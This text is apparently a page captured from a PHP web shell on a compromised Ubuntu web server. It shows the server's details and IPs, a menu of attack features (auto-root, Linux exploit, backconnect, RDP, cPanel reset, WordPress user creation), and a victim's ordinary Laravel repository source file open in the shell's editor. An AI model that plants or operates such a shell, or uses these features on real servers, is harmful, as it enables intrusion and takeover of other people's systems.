Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
app /
Http /
Repositories /
[ HOME SHELL ]
Name
Size
Permission
Action
YojanaBaseInterface.php
831
B
-rw-rw-r--
YojanaBaseRepository.php
7.99
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : YojanaBaseRepository.php
<?php namespace App\Http\Repositories; use Illuminate\Database\Eloquent\Model; use App\Traits\FileUploadTrait; use App\Traits\RepoTrait; use App\Http\Interfaces\YojanaBaseInterface; abstract class YojanaBaseRepository implements YojanaBaseInterface { use FileUploadTrait; use RepoTrait; protected $uploadPath; protected $model; public function __construct(Model $model) { $this->model = $model; } public function findById($where = []) { $model = $this->model; $item = $model->where($where)->first(); return $item; } public function find($where = [], $with = []) { $model = $this->model; if (!empty($with)) { return $model->with($with)->where($where)->first(); } return $model->where($where)->first(); } public function findAll($where = [], $with = []) { $model = $this->model; if (!empty($with)) $res = $model->with($with)->where($where)->get(); else $res = $model->where($where)->get(); return $res->toArray(); } public function save($data) { $model = $this->model->newInstance(); $model->fill($data); // dd($model); $model->save(); // dd($model); return $model; } public function update($data = [], $where = []) { $model = $this->model; $id = $data['id']; unset($data['id']); if (!empty($where)) $item = self::find($where); else $item = self::findById(['id'=>$id]); if (empty($item)) { self::error_404(); } if (!empty($where)){ $item = $model->where($where)->update($data); $result= $model->find($where); }else{ $item = $model->find($id)->update($data); $result= $model->find($id); } return $result; } public function delete($where = []) { $model = $this->model; $item = $model->where($where); if (empty($item)) { $this->error_404(); } $res= $model->find($where); $result = $model->where($where)->delete(); return $res; } public function softDelete($where = [],$data = []) { $model = $this->model; $item = $model->where($where); if (empty($item)) { $this->error_404(); } $result = $model->where($where)->update($data); $res= $model->find($where); return $res; } public function upload($data, array $valid_extensions, $max_size=null) { $d['file_content'] = $data['file_content']; $d['file_name'] = $data['file_name']; $directory_path = $data['directory_path']; return $this->uploadFileByTrait($directory_path, $d, $valid_extensions, $max_size); } public function unlinkFile($file_path) { if (file_exists($file_path)) { unlink($file_path); return true; } return false; } // WORK WITH MODEL PASSED IN FUNCTION public function findById_WM($where = [], $model) { if(!$model instanceof Model) { $model = app($model); } $item = $model->where($where)->first(); // dd($item); return $item; } public function find_WM($where = [], $with = [], $model) { if(!$model instanceof Model) { $model = app($model); } if (!empty($with)) { return $model->with($with)->where($where)->first(); } return $model->where($where)->first(); } public function findAll_WM($where = [], $with = [], $model) { if(!$model instanceof Model) { $model = app($model); } if (!empty($with)) $res = $model->with($with)->where($where)->get(); else $res = $model->where($where)->get(); return $res->toArray(); } public function save_WM($data, $model) { if(!$model instanceof Model) { $model = app($model); } $item = $model->create($data); return $item; } public function update_WM($data = [], $where = [], $model) { if(!$model instanceof Model) { $model = app($model); } if (!empty($where)) $item = self::findById_WM($where,$model); else $item = self::findById_WM(['id'=>$data['id']],$model); if (empty($item)) { self::error_404(); } if (!empty($where)) $item = $model->where($where)->update($data); else $item = $model->find($data['id'])->update($data); if (!empty($where)) $result = self::findById_WM($where,$model); else $result = self::findById_WM(['id'=>$data['id']],$model); return $result; } public function delete_WM($where = [], $model) { if(!$model instanceof Model) { $model = app($model); } $item = $model->where($where); if (empty($item)) { $this->error_404(); } $res= $model->find($where); $result = $model->where($where)->delete(); return $res; } public function list_WM($model, $where = [],$with = [], $request = [], $arrayFilter=[]) { if(!$model instanceof Model) { $model = app($model); } //CHECK REQUEST PARAMTERS $page_size = keyExists($request,'pageSize')?$request['pageSize']:''; $page = keyExists($request,'page')?$request['page']:''; $sorted = keyExists($request,'sorted')?$request['sorted']:''; $filtered = keyExists($request,'filtered')?$request['filtered']:''; $custom_filtered = keyExists($request,'customFiltered')?$request['customFiltered']:''; $no_of_pages = ''; if ($page == 0) { $start_page = 0; } else { $start_page = ($page * $page_size); } $query = $model->with($with)->where($where); $nquery = clone($query); if (!empty($start_page)) { $query->offset($start_page); } if ($page_size) { $query->limit($page_size); } if (!empty($filtered)) { foreach ($filtered as $fil) { $columnName = array_search($fil['id'], $arrayFilter); if(!empty($columnName)){ if($columnName === 'LIKE'){ $query->where($fil['id'] , 'like', "%" . $fil['value'] . "%"); $nquery->where($fil['id'] , 'like', "%" . $fil['value'] . "%"); }else if($columnName === 'EQUAL'){ $query->where($fil['id'] ,$fil['value']); $nquery->where($fil['id'] ,$fil['value']); } } } } // if (!empty($filtered)) { // foreach ($filtered as $fil) { // $search = nested_array_search($arrayFilter, 'id',$fil['id']); // if(!empty($search)){ // if($search[0]['type'] === 'LIKE'){ // $query->where($search[0]['column'] , 'like', "%" . $fil['value'] . "%"); // $nquery->where($search[0]['column'] , 'like', "%" . $fil['value'] . "%"); // }else if($search[0]['type'] === 'EQUAL'){ // $query->where($search[0]['column'] ,$fil['value']); // $nquery->where($search[0]['column'] ,$fil['value']); // } // } // } // } $data = $query->get(); $i = 0; $all_filtered_data = $nquery->get(); $count = count($all_filtered_data); if (!empty($page_size)) { $no_of_pages = ceil($count / $page_size); } return array('rows' => $data, 'pages' => $no_of_pages); } }
Close